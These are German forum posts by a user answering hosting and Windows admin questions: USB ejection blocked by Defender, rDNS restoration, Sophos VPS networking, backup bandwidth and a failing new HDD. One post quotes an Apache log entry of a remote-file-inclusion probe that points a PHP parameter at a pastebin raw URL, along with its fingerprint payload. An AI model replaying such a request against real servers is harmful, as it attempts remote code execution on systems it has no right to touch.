Beiträge von mainziman

    einfach sagenhaft was manches Ungeziefer 'veranstaltet'

    das da im Log vom Apache

    162.55.55.136 - - [17/Apr/2021:12:51:47 +0200] "GET /larva.php?idb=https://pastebin.com/raw/z4Kgk9AA HTTP/1.1" 301 289 "-" "python-requests/2.25.1"

    PHP
    <?php echo 'XO';echo '_';echo 'sp3ctra'; ?>

    was will uns dieses Skript sagen?:D

    Hat wer eine Ahnung wo der Pferdefuß ist,

    ich kann mit Win10 USB-Sticks auswerfen,

    hingegen bei USB-Platten scheitere ich;

    im Eventlog hab ich dann z.B. sowas drin stehen ...

    The application \Device\HarddiskVolume14\ProgramData\Microsoft\Windows Defender\Platform\4.18.2103.7-0\MsMpEng.exe with process id 3168 stopped the removal or ejection for the device USB\VID_174C&PID_5106\0123456789ABCDEF0124.

    Gibt es einen Weg wie ich meinem Netcup Server seinen ursprünglichen rDNS Eintrag wieder verpassen kann?

    Ja und Nein, hängt davon ob, ob Du das Mail, welches die erste Bereitstellung anzeigte noch hast, weil dort steht der DNS-Name;

    und f. den Fall Du hast dieses Mail nicht, dann kannst ja mal durch probieren

    die v### hast Du ja, und die verdächtigen Domains sind z.B.

    happysrv.de

    megasrv.de

    powersrv.de

    quicksrv.de

    KB19 welche Diomains gibts da noch?

    bei vServern, welche Du übernoimmen hast, bleibt nur dieser Weg, weil das urspr. Mail der Bereitstellung hast ja nicht Du bekommen;

    darf man hier fragen, was Du vorhast?

    soll der VPS mit dem Sophos XG Home Dein Heimnetzwerk "schützen"?

    wenn das Sophos XG Home so funktioniert wie vor nicht allzu langer Zeit das Sophos UTM,

    dann brauchst Du dafür 2 Netzwerk-Interfaces, eines ins öffentliche Netz und eines ins Heimnetz - hier das VLAN

    am öffentlichen Netz hast Du eine öffentliche IPv4, und am VLAN eine RFC1918-IPv4; IPv6 lass ich mal bei der Betrachtung weg;

    bei der Installation des Sophos, wäre es denkbar, dass er sich beide Netzwerkinterfaces krallt und falsch herum einsetzen will, das f.das öffentliche Netz mit einer RFC1918 Adresse und das f. das VLAN mit einer öffentlichen IP;

    willst Du hingegen den Ubuntu-VPS schützen, dann die Frage: hast Du dem Ubuntu-VPS ebenfalls das VLAN und nur das VLAN aktiviert?

    und der Zugriff auf den Ubuntu-VPS geht dann klarerweise nur über den Sophos-VPS, bei dem eine Portweiterleitung eingerichtet ist;

    Stichwort NAT.

    wenn Dein Ubuntu-VPS hingegen ebenfalls beide Netzwerkinterfaces hat, eines im VLAN zum Sophos XG Home und eines ins öffentliche Netz,

    dann ist irgendwie der VPS mit dem Sophos XG Home fürn Hugo;;)

    KB19 GByte/Stunde eine etwas unorthodoxe Maßeinheit? :/

    meine GBit/sec sind deutlich mehr als des 225fache¹, GByte/sec wären

    deutlich mehr als 1800fache, dann sind wa quasi bei fast einer Stunde ^^

    ¹exakt bestimmen könnt man es mit

    Eqn2.gif

    aRaphael lieber nicht, könnt vlt. an 'ner Fahrleitung der SNCF angestöpselt sein;

    ich hab den Verdacht im SCP ist die Kurve (Skalierung) unrealistisch

    pasted-from-clipboard.png

    ich unterstelle mal das B heißt Bit und nicht Byte;

    dann ist der Flächeninhalt¹ unter der grünen Kurve deutlich mehr als 4 * 3600 * 10 Gbit = 72 000 GByte

    wie kann ein dd if=/dev/sda | ssh root@backup "dd of=/mnt/data/bkup.ddimg " im Rescue-System von einem

    vServer mit einer 320 GByte Platte mehr als 72 000 GByte (das 225fache) an Daten übertragen?

    mal ganz was anders: es ist ja durchaus bei dem einen od. anderen bereits vorgekommen,

    dass er eine neue HDD in den Händen hält und es sich herausstellt dass diese defekt ist;

    ich hatte heute eine neue HDD vom Händler abgeholt, und das wie sich diese verhält macht mich mehr als stutzig;

    im BIOS/UEFI weiß er von nichts, aber Windows kommt damit, ob man sie initialisieren will, klar will ich und dann ...

    es kommt ein Fehler und im EventLog wird das da eingetragen:

    VDS fails to write boot code on a disk during clean operation. Error code: 8007045D@02070008

    wenn ma Dr. Google danach befragt kommen einige Einträge, welche meinen dass die Platte hinüber ist;

    ok, jetzt die Frage(n):

    wieso kennt Windows die dann überhaupt, wenn eh des BIOS/UEFI sagt, dass da auf dem SATA-Port nix hängt?

    gibt es eine Grenze von der Kapazität her, über der des BIOS/UEFI ein Problem damit hätte?